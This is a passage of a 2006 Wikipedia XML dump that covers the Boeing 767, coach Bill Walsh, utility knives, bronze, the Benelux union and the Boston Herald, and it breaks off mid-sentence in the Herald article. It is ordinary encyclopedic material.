* '''767-300''' - A lengthened 767 ordered by [[Japan Airlines]] in 1983.  It first flew on [[January 14]], [[1986]], and was delivered to JAL on [[September 25]].  The 767-300 will be replaced by the [[Boeing 787|Boeing 787-3]] in Boeing's lineup.
* '''767-300ER''' - An extended-range variant of the -300.  It flew for the first time in 1986, but received no commercial orders until [[American Airlines]] purchased several in 1987.  The aircraft entered service with AA in 1988.  In 1995, [[EVA Air]] used a 767-300ER to inaugurate the first transpacific 767 service.  The 767-300ER will be replaced by the [[Boeing 787|Boeing 787-8]] in Boeing's lineup.
* '''767-300F''' - A highly-automated air freight version of the 767-300ER, ordered by [[United Parcel Service]] in 1993 and delivered in 1995.
* '''767-400ER''' - Another extended long-range variant, made as a niche aircraft for [[Delta Air Lines]] and [[Continental Airlines]] to replace their [[Lockheed L-1011]] and [[McDonnell Douglas DC-10]] fleets.  It is the only 767 model to feature &quot;raked&quot; wingtips, which increase fuel efficiency.  The first production 767-400ER was delivered in 2000.  A proposed 767-400ERX was also studied, made specifically to meet [[Kenya Airways]]' specifications. It would have combined the 767-400ER's (there is no non-ER 767-400) size with the range of a 767-300ER.  The order placed by Kenya Airways was cancelled in favor of [[Boeing 777]]s, cancelling the 767-400ERX altogether.  The 767-400ER will be replaced by the [[Boeing 787|Boeing 787-9]] in Boeing's lineup.
* '''E-767''' - [[AWACS]] platform used by the [[Japan Self-Defense Forces]]. Essentially the [[E-3 Sentry]] mission package on a 767-200ER platform.
* '''[[KC-767|KC-767 Tanker Transport]]''' - 767-200ER-based aerial refueling platform currently used by the [[Italian Air Force]] and the [[Japan Self-Defense Forces]].  The [[United States Air Force]] has expressed interest in the aircraft, with a contract for the lease of 100 aircraft under review. The KC-767 has lost out to the [[Airbus A330]] in two recent contests, for the [[Royal Air Force|RAF]] and [[Royal Australian Air Force]].
* '''[[E-10 MC2A]]''' - 767-400ER-based replacement for the [[Boeing 707]]-based [[E-3 Sentry]] [[AWACS]], the [[E-8 Joint STARS]] aircraft, and EC-135 [[ELINT]] aircraft. This is an all-new system, with a powerful [[Active Electronically Scanned Array]] and not based upon the Japanese AWACS aircraft.

&lt;br clear=&quot;all&quot;/&gt;

==General characteristics==
&lt;center&gt;
{| style=&quot;border-collapse: collapse;&quot; border=&quot;1&quot;
|- align=&quot;center&quot;
!
! bgcolor=#87CEEB|767-200
! bgcolor=#87CEEB|767-200ER
! bgcolor=#87CEEB|767-300
! bgcolor=#87CEEB|767-300ER
! bgcolor=#87CEEB|767-300F
! bgcolor=#87CEEB|767-400ER
|- align=&quot;center&quot;
! Length
| colspan=&quot;2&quot; | 48.5 m&lt;br/&gt;(159 ft 2 in)
| colspan=&quot;3&quot; | 54.9 m&lt;br/&gt;(180 ft 3 in)
| 61.4 m&lt;br/&gt;(201 ft 4 in)
|- align=&quot;center&quot;
! Wingspan
| colspan=&quot;5&quot; | 47.6 m&lt;br/&gt;(156 ft 1 in)
| 51.9 m&lt;br/&gt;(170 ft 4 in)
|- align=&quot;center&quot;
! Passengers
| colspan=&quot;2&quot; | 181 to 255
| colspan=&quot;2&quot; | 218 to 351
| 0
| 245 to 375
|- align=&quot;center&quot;
! Cargo
| colspan=&quot;2&quot; | 81.4 m&amp;sup3; (2,875 ft&amp;sup3;)&lt;br&gt;22 [[Unit Load Device|LD2s]]
| colspan=&quot;2&quot; | 106.8 m&amp;sup3; (3,770 ft&amp;sup3;)&lt;br&gt;30 LD2s
| 454 m&amp;sup3; (16,034 ft&amp;sup3;)&lt;br&gt;30 LD2s + 24 pallets
| 129.6 m&amp;sup3; (4,580 ft&amp;sup3;)&lt;br&gt;38 LD2s
|- align=&quot;center&quot;
! Range
| 9,400 km&lt;br/&gt;(5,200 nautical miles)&lt;br/&gt;transcontinental
| 12,200 km&lt;br/&gt;(6,600 nautical miles)&lt;br/&gt;transpacific
| 9,700 km&lt;br/&gt;(5,230 nautical miles)&lt;br/&gt;transcontinental
| 11,305 km&lt;br/&gt;(6,105 nautical miles)&lt;br/&gt;transpacific
| 6,050 km&lt;br/&gt;(3,270 nautical miles)&lt;br/&gt;transcontinental
| 10,450 km&lt;br/&gt;(5,650 nautical miles)&lt;br/&gt;transatlantic
|- align=&quot;center&quot;
! Cruise speed
| colspan=&quot;6&quot; | [[Mach number|Mach]] 0.8 (870 km/h, 540 mph)
|- align=&quot;center&quot;
! Engines
| colspan=&quot;6&quot; | Two high-bypass [[turbofan]]s, usually either [[General Electric CF6-80]] (about 65,000 lb&lt;sub&gt;f&lt;/sub&gt; (289 kN) thrust each) or [[Pratt &amp; Whitney PW4000|Pratt &amp; Whitney PW4062]] (about 63,000 lb&lt;sub&gt;f&lt;/sub&gt; (280 kN) thrust each); a very limited number use the [[Rolls-Royce RB211]] (about 60,000 lb&lt;sub&gt;f&lt;/sub&gt; (267 kN) thrust each)
|}
&lt;/center&gt;

==Disasters and incidents==
[[image:b767.aa.arp.750pix.jpg|thumb|right|250px|American Airlines Boeing 767-300 at Gatwick Airport, England]]
[[image:elal.b767.arp.750pix.jpg|thumb|right|250px|El Al Boeing 767ER]]
===Specific accidents===

Two ''Boeing 767'' aircraft were involved in the [[September 11, 2001 attacks]]. [[American Airlines Flight 11]], a 767-223ER, crashed into the north tower of the [[World Trade Center]], with 92 fatalities on board. [[United Airlines Flight 175]], a 767-222, crashed into the south tower, with the loss of all 65 on board. In addition, 2602 people perished on the ground, mostly in the two towers.

===Accident summary===
(as of 2005)
*[[Hull-loss]] Accidents: 6  with a total of 568 fatalities 
*Other occurrences: 2  with a total of 0 fatalities 
*[[Hijacking]]s: 5  with a total of 282 fatalities

===Incidents===
* '''[[Gimli Glider]]''' On July 23, 1983 [[Air Canada]] flight 143 ran out of fuel in flight and had to glide to an emergency landing. The inclusion of a [[Ram Air Turbine]] allowed the aircraft to be controlled with complete loss of power and resulted in zero fatalities even with complete loss of electro-hydraulic system.

===Chinese state aircraft===

In 2000, the government of [[People's Republic of China|China]] purchased a 767-300ER as the official executive aircraft of [[Jiang Zemin|President Jiang Zemin]]. The aircraft had originally been delivered to [[Delta Air Lines]] in June 2000 but was immediately resold to [[China United Airlines]]. After its transfer to the Chinese government, the plane was taken to [[San Antonio, Texas]] to be refitted with a custom interior.  

In the fall of 2001, the Chinese government announced that it had discovered 27 [[covert listening device]]s embedded in the plane's interior. The Chinese government blamed the [[Central Intelligence Agency|CIA]] for planting the bugs. The 22 Chinese military and government officials charged with overseeing the refit were arrested for suspicion of negligence and corruption.

The CIA and American President [[George W. Bush]] denied having any knowledge of the existence of the listening devices. Diplomatic experts worried that the incident would have deleterious effects on Sino-American relations and Boeing's reputation in the lucrative Chinese market. However, relations between the two countries remained cordial and Chinese airlines continued to purchase Boeing aircraft.

==Trivia==
*The air flowing through a 767-400ER engine at takeoff power could inflate the [[Goodyear Blimp]] in 7 seconds.
*Delta Air Lines is the world's largest 767 operator, with approximately 118 planes including the 767-200, 767-300, 767-300ER, and 767-400ER.
*The 767 has a propeller in its underbody, known as a ram air turbine (RAT), to provide electrical power during emergencies.

== Related content ==
=== Designation sequence ===
* [[Boeing 737|737]] - [[Boeing 747|747]] - [[Boeing 757|757]] - '''767''' - [[Boeing 777|777]] - [[Boeing 787|787]]

=== Related development ===
* [[Boeing 727]]
* [[Boeing 757]]
* [[Boeing 777]]

=== Similar aircraft ===
* [[Airbus A300]]
* [[Airbus A310]] 
* [[Airbus A330|Airbus A330-200]]
* [[Boeing 787]]

=== Related lists ===
* [[List of airliners]]
* [[List of Boeing 767 operators]]

== See also ==


== External links ==
{{Commons|Boeing 767}}
* [http://www.boeing.com/commercial/767family/ Details on the Boeing 767 family of aircraft]
* [http://www.airliners.net/info/stats.main?id=103 History and pictures of the Boeing 767-200]
* [http://www.janes.com/aerospace/civil/news/jawa/boeing_767.shtml Jane's entry with detailed specifications]
* [http://www.planemad.net/data/list/Boeing/767/ Planemad.net - Boeing 767 Production Lists]
* [http://www.767.org.uk/ Detailed info on the Boeing 767 family]
* [http://images1.jetphotos.net/images/i/IMG_9530JPG.jpg.64022.jpg The Spirit of Delta, Delta Airlines' first Boeing 767]

{{airlistbox}}

[[Category:U.S. airliners 1980-1989]]

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    </revision>
  </page>
  <page>
    <title>Bill Walsh (football coach)</title>
    <id>4166</id>
    <revision>
      <id>42018581</id>
      <timestamp>2006-03-03T06:33:04Z</timestamp>
      <contributor>
        <username>TMC1982</username>
        <id>96890</id>
      </contributor>
      <text xml:space="preserve">[[Image:Walsh-Bill.jpg|right|thumb|Bill Walsh]]

'''Bill Walsh''' (born [[November 30]], [[1931]]) is a former [[American football]] head coach of the [[San Francisco 49ers]] and [[Stanford University]]. He is currently the Interim Athletic Director at Stanford.  He has a home in [[Pacific Grove, California]].

Walsh attended [[San Jose State University]] in [[San Jose, California]], and his first coaching appointment was with [[Washington High School (Fremont)|Washington High School]] in [[Fremont, California]].  

He entered the professional coaching ranks with the expansion [[Cincinnati Bengals]] in [[1968 NFL season|1968]], serving under [[Paul Brown]] for seven seasons as one of the architects of the team's offense.

When Brown retired following the [[1975 NFL season|1975]] season and appointed Bill Johnson as his successor, Walsh resigned and served as an assistant coach for [[Tommy Prothro]] with the [[San Diego Chargers]] in [[1976 NFL season|1976]].

Walsh then moved for the first of two tenures as head football coach at [[Stanford University|Stanford]], from [[1977 in sports|1977]] to [[1978 in sports|1978]]. 

In [[1979 NFL season|1979]], Walsh was appointed head coach of the San Francisco 49ers, and under him the 49ers won [[Super Bowl]] championships in [[1981 NFL season|1981]], [[1984 NFL season|1984]] and [[1988 NFL season|1988]]. Walsh served as 49ers head coach for twelve years and during his tenure he and his coaching staff perfected the style of play known popularly as the [[West Coast offense]].  

He was responsible for drafting [[Joe Montana]], [[Ronnie Lott]], [[Charles Haley]], and [[Jerry Rice]]. Walsh's successes with the 49ers were rewarded when he was elected to the [[Pro Football Hall of Fame|Professional Football Hall of Fame]] in [[1993 in sports|1993]].

The [[1981 NFL season|1981]] season saw Walsh lead the 49ers to a championship and marked the team's return from the bottom of the NFL.  While the 49ers were accused in the late [[1980s]] of trying to 'buy' championships, Walsh's 1981 team won the [[Super Bowl XVI|Super Bowl]] with the lowest payroll in the league. Important in that season were two wins each over the [[St. Louis Rams|Los Angeles Rams]] and the [[Dallas Cowboys]]. The Rams had dominated the series with the 49ers up to that point in time, and the 49ers two wins over the Rams in 1981 marked the beginning of a long run of dominance for the 49ers in the series that lasted until the late [[1990s]].  

In 1981 the 49ers blew out the Cowboys in the regular season. On ''[[Monday Night Football]]'' that week, the 49ers win was not included in the halftime highlights. Walsh felt that this was because the Cowboys were scheduled to play the Rams the next week in a rare Sunday night game and that showing the highlights of the 49ers win would potentially hurt the game's ratings. Walsh used this as a motivating factor for his team.  

The 49ers faced the Cowboys again that same season in the [[National Football Conference|NFC]] title game. The game was very close, and in the fourth quarter Walsh called a series of running plays as the 49ers marched down the field against the Cowboys defense, which had been expecting the 49ers to mainly pass. The 49ers came from behind to win the game, propelling Walsh to his first Super Bowl.  Walsh and the 49ers defeated [[Cincinnati Bengals|Cincinnati]] in the title game, which was played in [[Detroit, Michigan|Detroit]].  Walsh would later write that the 49ers two wins over the Rams showed a shift of power in their division, while the wins over the Cowboys showed a shift of power in the conference.  
 
Among great football luminaries, perhaps none have had the same lasting impact or impeccable record. He is known as an offensive mastermind and his dramatic turnaround of the 49ers in the 1980s established the franchise as latter-day football's symbol of continual dominance and success. While he steered the team to just 3 Super Bowls, Walsh's hand-picked successor [[George Seifert]] took the reins to Walsh's team, riding his coattails to the tune of two more Super Bowl wins. 

Many of his assistant coaches went on to be successful coaches in their own right, including Seifert, [[Mike Holmgren]], [[Mike Shanahan]], [[Ray Rhodes]], and [[Dennis Green]]. These coaches in turn have their own disciples who have utilized Walsh's West Coast system, making it the offensive system of choice for more than half of today's NFL squads. 

After leaving the coaching ranks to work as a broadcaster for [[NFL on NBC|NBC]], Walsh returned to Stanford from 1992-94 to once again serve as head coach for the school.

Walsh would also return to the 49ers, serving as Vice President and General Manager from [[1999 NFL season|1999]] to [[2001 NFL season |2001]] and was a special consultant to the team for three years afterwards. In [[2004 in sports|2004]], Walsh was appointed as special assistant to the athletic director at Stanford. In [[2005]], after then-athlete director [[Ted Leland]] stepped down to take a position at the [[University of the Pacific]], Walsh was named interim athletic director.

Bill Walsh is also the author of several books, is active as a motivational speaker, and taught classes at the [[Stanford Graduate School of Business]].

{{start box}}
{{succession box | title=[[Pro Football Hall of Fame]]| before=Class of 1992| years=Class of 1993| after=Class of 1994}}
{{succession box | title=[[San Francisco 49ers|San Francisco 49ers Head Coaches]] | before=[[Fred O'Conner]] | years=1979&amp;ndash;1988 | after=[[George Seifert]]}}
{{end box}}


[[Category:1931 births|Walsh, Bill]]
[[Category:Living people|Walsh, Bill]]
[[Category:People from the San Francisco Bay Area|Walsh, Bill]]
[[Category:Irish-Americans|Walsh, Bill]]
[[Category:American sports announcers|Walsh, Bill]]
[[Category:The NFL on NBC|Walsh, Bill]]
[[Category:American football executives|Walsh, Bill]]
[[Category:American writers|Walsh, Bill]]
[[Category:Pro Football Hall of Fame|Walsh, Bill]]
[[Category:Cincinnati Bengals coaches|Walsh, Bill]]
[[Category:San Diego Chargers coaches|Walsh, Bill]]
[[Category:Stanford Cardinal football coaches|Walsh, Bill]]
[[Category:Cal Bears football coaches|Walsh, Bill]]
[[Category:San Jose State Spartans football coaches|Walsh, Bill]]
[[Category:Oakland Raiders coaches|Walsh, Bill]]
[[Category:San Francisco 49ers coaches|Walsh, Bill]]</text>
    </revision>
  </page>
  <page>
    <title>Box-cutter knives</title>
    <id>4167</id>
    <revision>
      <id>15902459</id>
      <timestamp>2005-01-20T01:49:47Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[utility knife]]</text>
    </revision>
  </page>
  <page>
    <title>Utility knife</title>
    <id>4168</id>
    <revision>
      <id>40096547</id>
      <timestamp>2006-02-18T02:39:44Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.94.21.132|65.94.21.132]] ([[User talk:65.94.21.132|Talk]]) to last version by Tawker</comment>
      <text xml:space="preserve">[[image:aaknife2.jpg|thumb|right|Disassembled, blade partly retracted]]
[[image:aaknife1.jpg|thumb|right|Utility knife]]
A '''utility knife''' or '''box cutter''' is a common [[tool]] used in various trades and crafts for a variety of purposes.  

Such a [[knife]] generally consists of a simple and cheap holder, typically flat, approximately one inch (25 mm) wide and three to four inches (75 to 100 mm) long, and typically made of either metal or plastic. Some use standard [[razor]] blades, others specialised double-ended blades as in the illustration. The user can manually adjust how far the blade extends from the handle, so that for example the knife can be used to cut the tape sealing a package without damaging the contents of the package. When the blade becomes dull, it can be quickly reversed or switched for a new one. Spare blades are often stored in the hollow knife handle, and can be accessed by removing a screw and opening the handle.

This type of tool is known in [[British English]], [[Australian English]] and [[New Zealand English]] as a '''Stanley knife''', after one of the first manufacturers to create this kind of implement. The genuine [[Stanley Works|Stanley]] knife has a cast-metal body, and comes both in retractable versions and in fixed blade versions which allow no depth adjustment. Fixed blade versions are widely used for handcrafts. The blades for a utility knife come in both double and single ended versions, and are interchangeable with many but not all of the later copies. Specialised blades also exist for cutting string, linoleum and other purposes. Spare or used blades may be stored in the handle.

[[image:aaknife3.jpg|thumb|right|Segmented blade type]]
Another style is one in which a handle, usually of [[plastic]], contains a long, segmented blade which slides out from it. As the endmost edge becomes dull, it can be snapped off from the rest of the blade, exposing the next section which is sharp and ready for use. When all the individual segments are used, it is thrown away or a replacement blade is inserted. This kind often comes in bright colors like orange, blue and yellow.

A style that is often used for the cutting of boxes consists of a simple sleeve around a rectangular handle into which ordinary razor blades can be inserted.  The sleeve slides up and down on the handle, holding the blade in place during use and covering the blade when not in use.

==Utility knives as weapons==

Though such knives are not usually considered [[weapon]]s, it was suggested by certain [[United States]] government officials that &quot;box-cutter knives&quot; were used in the [[September 11, 2001 attacks]] against that country.  However, the exact design of these knives is unclear.  See [[Airport security repercussions due to the September 11, 2001 attacks]] for further discussion.

They have also been used by minor criminals in muggings, and some schools ban their possession on school grounds; a campaign against the sale of box-cutter knives to young people was instigated in [[New York]] by Mayor [[Rudy Giuliani]] in the [[1990s]].

On [[June 1]], [[2004]] [[Japan]]ese [[elementary school]] student Satomi Mitarai was stabbed to death by &quot;[[Nevada-tan]],&quot; an unnamed classmate, using a segmented-type utility knife. 

In [[Australia]], it is illegal to sell a cutting implement such as a utility knife to anyone under 16 years of age, and proof of age is often demanded of purchasers.

Recently in the [[United Kingdom]], there have been plans to raise the age limit for purchasing knives, including utility knives, from 16 to 18, in an effort to tackle &quot;[[yob culture]].&quot; 

In Israel, these knives are known as Japanese knives.

==External links==
*[http://www.olfa.com/products.asp?C=2 Product catalog] showing lots of pictures of [[Olfa]] segmented blade cutters
*[http://www.stanleyworks.com/a_history.asp History of the Stanley Works]
*[http://stanleytools.com/default.asp?TYPE=STATICLEFT&amp;PAGE=history.htm&amp;LEFT=left_history.htm Another history of the Stanley Works]

[[Category:Knives]]
[[Category:Woodworking hand tools]]
[[de:Cutter (Messer)]]
[[eo:Skatol-tran&amp;#265;anta tran&amp;#265;ilo]]
[[ja:&amp;#12459;&amp;#12483;&amp;#12479;&amp;#12540;&amp;#12490;&amp;#12452;&amp;#12501;]]</text>
    </revision>
  </page>
  <page>
    <title>Bronze</title>
    <id>4169</id>
    <revision>
      <id>41885411</id>
      <timestamp>2006-03-02T10:20:43Z</timestamp>
      <contributor>
        <username>Markkawika</username>
        <id>204710</id>
      </contributor>
      <text xml:space="preserve">[[Image:Assorted bronze castings.JPG|thumb|Assorted ancient bronze castings found as part of a cache, probably intended for recycling.]]

'''Bronze''' is the usual English term for a broad range of [[copper alloys]], usually with [[tin]] as the main additive, but other [[chemical element|elements]] may be the main additive (e.g., [[phosphorus]], [[manganese]], [[aluminium|aluminum]], [[silicon]]). (See [[#Classification of Copper and Its Alloys|table below]])

== History ==
First used in the [[Bronze Age]], it made tools, weapons and armor harder or more durable than their stone and copper (&quot;[[Chalcolithic]]&quot;) predecessors. In early use, the natural impurity [[arsenic]] created a superior natural alloy; this is termed [[arsenical bronze]], which [[Ötzi the Iceman|Ötzi's]] axe is made of.

While copper and tin can natually co-occur, the two [[ore]]s are rarely found together (an ancient site in Thailand does prove they can co-occur). Serious bronze has always involved trade. The archaeologists suspect a serious disruption of the tin-trade led to the development of the [[Iron Age]]. For Europe, the major site for [[tin]] was [[Great Britain]].

The earliest tin-alloy bronzes date to the late [[4th millennium BC]] in [[Susa]] (Iran) and some ancient sites in [[Luristan]] (Iran) and [[Mesopotamia]] (Iraq). 

Bronze was stronger than the era's [[iron]]; quality [[steel]]s were not available until thousands of years later. But the Bronze Age gave way to the [[Iron Age]], perhaps because the shipping of tin around the [[Mediterranean]] (or maybe from Great Britain) became more limited during the major population migrations around [[12th century BC|1200]] &amp;ndash; [[11th century BC|1100 BC]], which dramatically limited supplies and raised prices [http://www.claytoncramer.com/Iron2.pdf]. Bronze was still used during the Iron Age, but for many purposes the weaker iron was sufficiently strong.  As ironworking improved, iron became both cheaper and stronger, eclipsing bronze in Europe by the early to mid-[[Middle Ages]].

== Properties ==
Excluding [[steel]] from the discussion, bronze is superior to iron in nearly every application. While it develops a [[patina]], it does not [[oxidize]] into anything. It is considerably less brittle than iron and has a lower casting temperature. Steel, of course, has wonderful properties that bronze cannot compete with.

Copper-based alloys have lower [[melting point]]s than steel and are more readily produced from their constituent metals. They are generally about 10 percent heavier than steel, although alloys using [[aluminium]] or [[silicon]] may be slightly less dense. Bronzes are softer and weaker than steel, and more [[elastic]], though bronze [[spring (device)|springs]] are less stiff (and so storing less energy) for the same bulk.  Bronzes resist [[corrosion]] (especially [[seawater corrosion]]) and [[metal fatigue]] better than steel.  Bronzes also conduct heat and electricity better than most steels. The cost of copper-base alloys is generally higher than that of steels but lower than that of [[nickel]]-base alloys.

Copper and its alloys have a huge variety of uses that reflect their versatile physical, mechanical, and chemical properties. Some common examples are the high [[electrical conductivity]] of pure copper, the excellent deep-drawing qualities of cartridge case brass, the low-friction properties of bearing bronze, the resonant qualities of bell bronze, and the resistance to corrosion by [[sea water]] by several bronze alloys.

In the twentieth century, [[silicon]] was introduced as the primary alloying element, creating an alloy with wide application in industry and the major form used in contemporary statuary. Aluminium is also used for the structural metal [[Aluminium bronze]].

Bronze is the most popular metal for top-quality [[bell (instrument) | bell]]s and [[cymbal]]s, and, more recently, [[saxophone]]s.  Bronze is also widely used for cast metal [[sculpture]] (see [[bronze sculpture]]). Common bronze alloys often have the unusual and very desirable property of expanding slightly just before they set, thus filling in the finest details of a [[moulding|mould]].

Bronze also has very little metal-on-metal [[friction]], which made it invaluable for the building of [[cannon]] where iron cannonballs would otherwise stick in the barrel. Bronze is still widely used today for springs, bearings, bushings and similar roles, and is particularly common in the bearings on small electric motors.  [[Phosphor bronze]] is particularly suited to precision-grade bearings and springs.

Bronze is typically 60% [[copper]] and 40% [[tin]]. Alpha bronze consists of the alpha solid solution of tin in copper. Alpha bronze alloys of 4-5% tin are used to make [[coin]]s, [[spring (device)|springs]], [[turbine]]s and [[blade]]s. Commercial bronze, despite its name, is 90% copper and 10% zinc. It contains no tin. It is somewhat stronger than copper and it has equivalent ductility. It is used for [[screw]]s and [[wire]]s.

== Classification of copper and its alloys ==
{|border=&quot;1&quot; cellpadding=&quot;1&quot;
|+Classification of Copper and Its Alloys{{ref|copper-alloy}}
|-
!Family!!Principal alloying element!!UNS numbers
|-
|Copper alloys, Brass||Zinc (zn)||C1xxxx&amp;ndash;C4xxxx,C66400&amp;ndash;C69800
|-
|Phosphor bronzes||Tin (Sn)||C5xxxx
|-
|Aluminium bronzes||Aluminium (Al)||C60600&amp;ndash;C64200
|-
|Silicon bronzes||Silicon (Si)||C64700&amp;ndash;C66100
|-
|Copper nickel, Nickel silvers||Nickel (Ni)||C7xxxx
|}

==See also==
*[[brass]], a subset of the copper alloys in which [[zinc]] is the principal additive
*[[gunmetal]]
*[[cupronickel]], an alloy used on ships
*[[Lost wax#Lost wax bronze-casting process|lost-wax casting]]
*[[aluminum bronze]]

==External links==
{{Commons|Bronze}}
*[http://www.jepsculpture.com/bronze.html Flash animation of lost-wax casting]
*[http://www.modernsculpture.com/bronze.htm Bronze Casting process explained - good pictures]
*[http://www.npi.gov.au/database/substance-info/profiles/27.html National Pollutant Inventory - Copper and compounds fact sheet]

== References ==
{{note|copper-alloy}} Machinery's Handbook, Industrial Press Inc, New York, ISBN 0-8311-2492-X, Edition 24, page 501

[[Category:Copper alloys]]
[[Category:Art materials]]

[[ar:برونز]]
[[ca:Bronze]]
[[cs:Bronz]]
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[[uk:Бронза]]</text>
    </revision>
  </page>
  <page>
    <title>Benelux</title>
    <id>4170</id>
    <revision>
      <id>41802345</id>
      <timestamp>2006-03-01T21:18:49Z</timestamp>
      <contributor>
        <ip>81.242.247.221</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Benelux satellite image.PNG|200px|right|thumb|Satellite image of the Benelux countries]]
[[Image:Heel_Nederland_English.PNG|thumb|200px|Benelux]]
[[Image:Benelux.png|thumb|200px|Benelux]]

'''[[Benelux]]''' is an economic union in [[Western Europe]] comprising three neighbouring [[monarchy|monarchies]], [[Belgium|'''Be'''lgium]], the [[Netherlands|'''Ne'''therlands]], and [[Luxembourg|'''Lux'''embourg]]. The name is formed from the beginning of each country's name, and was created for the Benelux Customs Union, but is now used in a more generic way.

The treaty establishing the '''Benelux Customs Union''' was signed in [[1944]] by the [[governments in exile]] of the three countries in London, and entered into force in [[1947]]. It ceased to exist in 1960, when it was replaced by the [[Benelux Economic Union]]. It was preceded by the (still extant) [[Belgium-Luxembourg Economic Union]], established in [[1921]]. 

Its founding contributed to the founding of the [[European Union]] (EU), though the immediate precursors to the EU were founded later (the [[European Coal and Steel Community|ECSC]] in [[1951]] and the [[European Community|EEC]] in [[1957]]). The three countries were also founding members of these organizations, together with [[West Germany]], [[France]], and [[Italy]]. Art. 306 [[EC Treaty]] stipulates that ''The provisions of this Treaty shall not preclude the existence or completion of regional unions between Belgium and Luxembourg, or between Belgium, Luxembourg and the Netherlands, to the extent that the objectives of these regional unions are not attained by application of this Treaty.'' This article remained unaltered as art. IV-441 of the [[European Constitution]].

A '''Benelux Parliament''' (originally referred to as ''Interparliamentary Consultative Council'') was created in [[1955]]. This [[Parliamentary_Assembly|parliamentary assembly]] is composed of 21 members of the Dutch parliament, 21 members of the Belgian national and regional parliaments, and 7 members of the Luxembourgian parliament.

The treaty establishing the '''Benelux Economic Union''' (''Benelux Economische Unie/Union Économique Benelux'') was signed in [[1958]] and came into force in [[1960]] to promote the free movement of [[worker]]s, [[capital]], [[service]]s, and [[good (economics)|good]]s in the region. Its secretariat-general is located in [[Brussels]]. The unification of the law of the three Benelux countries is mainly achieved by regulations of its Council of Ministers, that only bind the three States, but are not directly applicable in their internal legal orders. There is also a large number of Benelux conventions in a wide range of subject matters.

In [[1965]], the treaty establishing a '''Benelux Court of Justice''' was signed. It entered into force in [[1975]]. The Court, composed of judges from the highest courts of the three States, has to guarantee the uniform interpretation of common legal rules. This [[international judicial institution]] is located in Brussels.

The Benelux is particularly active in the field of [[intellectual property]]. The three countries established a '''Benelux Trademarks Office''' and a '''Benelux Designs Office''', both situated in [[The Hague]]. In [[2005]] they concluded a treaty establishing a '''Benelux Organisation for Intellectual Property''' which will replace both offices upon its entry into force.

The treaty establishing the Benelux Economic Union will expire in [[2010]]. It will probably be replaced by a new legal framework, taking into account the evolutions since the 1950's both within the three member states and concerning European integration.

==External links==
*[http://www.benelux.be/en/home_intro.asp Benelux Economic Union] - Official site 
*[http://www.benelux-parl.org Benelux Parliament] - Official site 
*[http://www.courbeneluxhof.info Benelux Court of Justice] - Official site 
*[http://www.bmb-bbm.org Benelux Trademarks Office] - Official site 
*[http://www.bbtm-bbdm.org Benelux Designs Office] - Official site 


{{region}}
[[Category:Benelux countries]]
[[Category:Geographic portmanteaus]]
[[Category:International organizations]]

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[[nl:Benelux]]
[[ja:ベネルクス]]
[[no:Benelux]]
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[[ru:Бенилюкс]]
[[fi:Benelux]]
[[sv:Benelux]]</text>
    </revision>
  </page>
  <page>
    <title>Boston Herald</title>
    <id>4171</id>
    <revision>
      <id>39739073</id>
      <timestamp>2006-02-15T14:52:37Z</timestamp>
      <contributor>
        <ip>204.14.128.2</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox Newspaper |
name = [[Image:Boston Herald logo.gif|200px|centre]] |
image = [[Image:BostonHeraldfrontpage.jpg|200px|centre]]|
type = Daily [[newspaper]] |
format = [[tabloid]] |
foundation = [[1982]] |
owners = [[Herald Media Inc.]] |
political = [[Conservative]] |
headquarters =  One Herald Square,&lt;br&gt; [[Boston, Massachusetts|Boston]], [[Massachusetts|MA]] 02205 USA |
website = [http://www.bostonherald.com/ BostonHerald.com] |
}}

The '''''Boston Herald''''' is a [[tabloid]] [[newspaper]] (not to be confused with [[tabloid press]] periodicals), the smaller of the two big dailies in [[Boston, Massachusetts]], with a daily circulation of 230,543 in September 2005.[http://www.boston.com/business/articles/2005/11/08/heralds_circulation_declines/] It has a history that can be traced back through two lineages and two media moguls.  Its history involves the ''Daily Advertiser'' and the old ''Boston Herald'' and it was owned at one point by [[William Randolph Hearst]] and later by [[Rupert Murdoch]].

==History== 
The ''Daily Advertiser'' was established in [[1813]] in Boston by Nathan Hale.  The paper grew to prominence through the 19th century taking over other Boston area papers.  In [[1904]], William Randolph Hearst began publishing his own newspaper in Boston called ''The American''. Hearst ultimately ended up purchasing the ''Daily Advertiser'' in [[1917]].  By [[1938]], the ''Daily Advertiser'' had changed to the ''Daily Record'', and ''The American'' had become the ''Sunday Advertiser''.  A third paper owned by Hearst called the ''Afternoon Record'', which had renamed to ''Evening American'', merged in [[1961]] with the ''Daily Record'' to form the ''Record American''.  The ''Sunday Advertiser'' and ''Record American'' would ultimately be merged in [[1972]] into a line of newspapers that stretched back to the old ''Boston Herald''.

The old ''Boston Herald'' was founded in [[1846]] by a group of Boston printers jointly under the name of John A. French &amp; Company. The paper was published as a single sheet, two-sided paper that sold for one cent. Its first editor, [[William O. Eaton]], just 22 years old, said &quot;The Herald will be independent in politics and religion; liberal, industrious, enterprising, critically concerned with literacy and dramatic matters, and diligent in its mission to report and analyze the news, local and global.&quot;

Even earlier than the ''Herald'', the ''Boston Traveler'' was founded in [[1825]] as a bulletin for [[stagecoach]] listings. In [[1912]], the ''Herald'' acquired the ''Traveler'', and after a newspaper strike in 1967, Herald-Traveler Corp. suspended the afternoon &quot;Traveler&quot; to create the ''Boston Herald Traveler'', in [[1967]].

In [[1946]], the ''Herald Traveler'' organization acquired Boston radio station WHDH.  Two years later, WHDH-FM was licensed, and on [[November 26]], [[1957]], WHDH-TV made its début as an [[American Broadcasting Company|ABC]] affiliate on channel 5.  In 1961, WHDH-TV's affiliation switched to [[CBS]].  Herald-Traveler Corp. operated for years under temporary authority from the [[Federal Communications Commission]] stemming from controversy over luncheon meetings the newspaper's chief executive had with an FCC commissioner during the original licensing process.  (Some Boston broadcast historians accuse the ''[[Boston Globe]]'' of being covertly behind the proceeding.  The ''Herald Traveler'' was Republican in sympathies, and the ''Globe'' was allied with the [[Kennedy political family|Kennedy family]] interests, although at the time of the licensing dispute, the Globe had a firm policy of not endorsing political candidates, and the proceedings regarding the WHDH-TV license were initiated long before John F. Kennedy was elected president.)  The FCC ordered a comparative hearing, and in 1969 a competing applicant, [[Boston Broadcasters, Inc.]] was granted a construction permit to replace WHDH-TV on channel 5.  The ''Herald Traveler'' fought the decision in court -- by this time, revenues from channel 5 were all but keeping the newspaper afloat -- but its final appeal ran out in [[1972]] and on 